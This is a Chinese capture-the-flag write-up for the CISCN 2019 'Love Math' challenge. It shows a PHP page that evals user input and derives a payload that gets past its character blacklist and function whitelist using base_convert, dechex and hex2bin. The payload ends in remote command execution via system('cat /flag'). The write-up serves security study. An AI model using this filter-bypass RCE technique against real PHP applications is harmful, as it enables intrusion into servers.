来自：
[CISCN 2019 初赛]Love Math
源码审计
一打开就是源码
<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
wp大致思路来自博客：https://blog.csdn.net/shawdow_bug/article/details/125335284
分析一下：
首先是黑名单：单双引号(' ")、反引号(`)、中括号([ ])。
这里需要知道：
单双引号的禁用说明字符串是无法使用的，可以用返回值为字符串的函数返回。
反引号的禁用说明无法使用命令执行，
中括号是用来访问数组的元素，可以用花括号({})代替。
白名单是一系列的数学函数。首先在里面寻找能够返回字符串的函数，利用 PHP 手册迅速排查：
能够返回字符串的函数有： base_convert：2到36进制之间的任意转换。 decbin：十进制转到二进制。 dechex：十进制转换为十六进制。 decoct：十进制转换为八进制。
这四个函数的描述如下：
（1）base_convert
（2）decbin
（3）dechex
（4）decoct
这里需要注意，base_convert 可以返回包含 a-z 的字符串，所以它能为我们提供任意一个函数的字符串名称，再利用 PHP 的动态调用函数特性（一个字符串加一个括号就能调用字符串指定的函数）来调用。
payload构造思路
首先因为黑名单的原因，直接的命令注入直接寄了，所以我们选择一种神奇的RCE构造，形如：
$_GET[1]($_GET[2])
里面套一个$_GET，我们就可以在里面这个get里再命令执行。
主要的问题是 "_GET" 是被限制的，所以接下来的思路是通过上面四个函数把它构造出来。
由于只能传入 79 个字符，只用 base_convert 来构造字符串就会发现构造出来的 payload 长度超过限制。所以，需要另辟途径。
payload无字符串构造
我们可以使用 hex2bin 将字符串的 16 进制形式转换成原始字符串，比如 0x5f474554 -> "_GET"。这个 hex2bin 不在白名单中，这可以用 base_convert 得到。
（为什么要用 hex2bin，而不是 decbin？）
把 "hex2bin" 看成 36 进制，然后转换成 10 进制：
echo base_convert('hex2bin',36,10); // 37907361743
再倒过来，我们就得到了 "hex2bin"：
echo base_convert(37907361743,10,36); // hex2bin
接下来要考虑的是hex2bin 需要接收 "_GET" 的十六进制，即 5f474554：
echo bin2hex("_GET"); // 5f474554
echo hex2bin("5f474554"); // _GET
5f474554 以字符串类型传入，它必须由整型数字转换得到，可以用 dechex 函数：
echo hexdec("5f474554"); // 1598506324，整型
echo dechex(1598506324); // 5f474554，字符串
整个思路串起来( 看每个推演的下一行就能轻松得到 )：
echo base_convert(37907361743,10,36)(dechex(1598506324)) //_GET
首先是因为单双引号的禁用，所以我们要用某个函数返回目标字符串（即"_GET"），而这个函数必须接收"_GET"的其他数据格式，例如整型数字。类似：
func($number) --> "_GET"
但没有符合这样条件的函数，所以考虑能将某种进制的数字字符串转换成特定字符串的函数，类似：
func1(func2($number)) 相当于 $func2($number) 整型数字 --> 某种进制的数字字符串 $func1($number_string) 某种进制的数字字符串 --> 特定字符串
这样来看，符合条件的函数是 hex2bin()，因为 hex2bin() 接收的十六进制数字字符串（"5f474554"）可以由整型数字（1598506324）通过 dechex() 函数转换得到，而 hex2bin() 返回一个特定的字符串。
payload
/?c=1;${1}=base_convert(37907361743,10,36)(dechex(1598506324));$${1}{2}($${1}{3})&2=system&3=cat /flag
最后总结
有几个技巧可以构造能得到任意字符串的无字符串实参 payload：
- hex2bin 和 dechex 两个函数配合
- base_convert 函数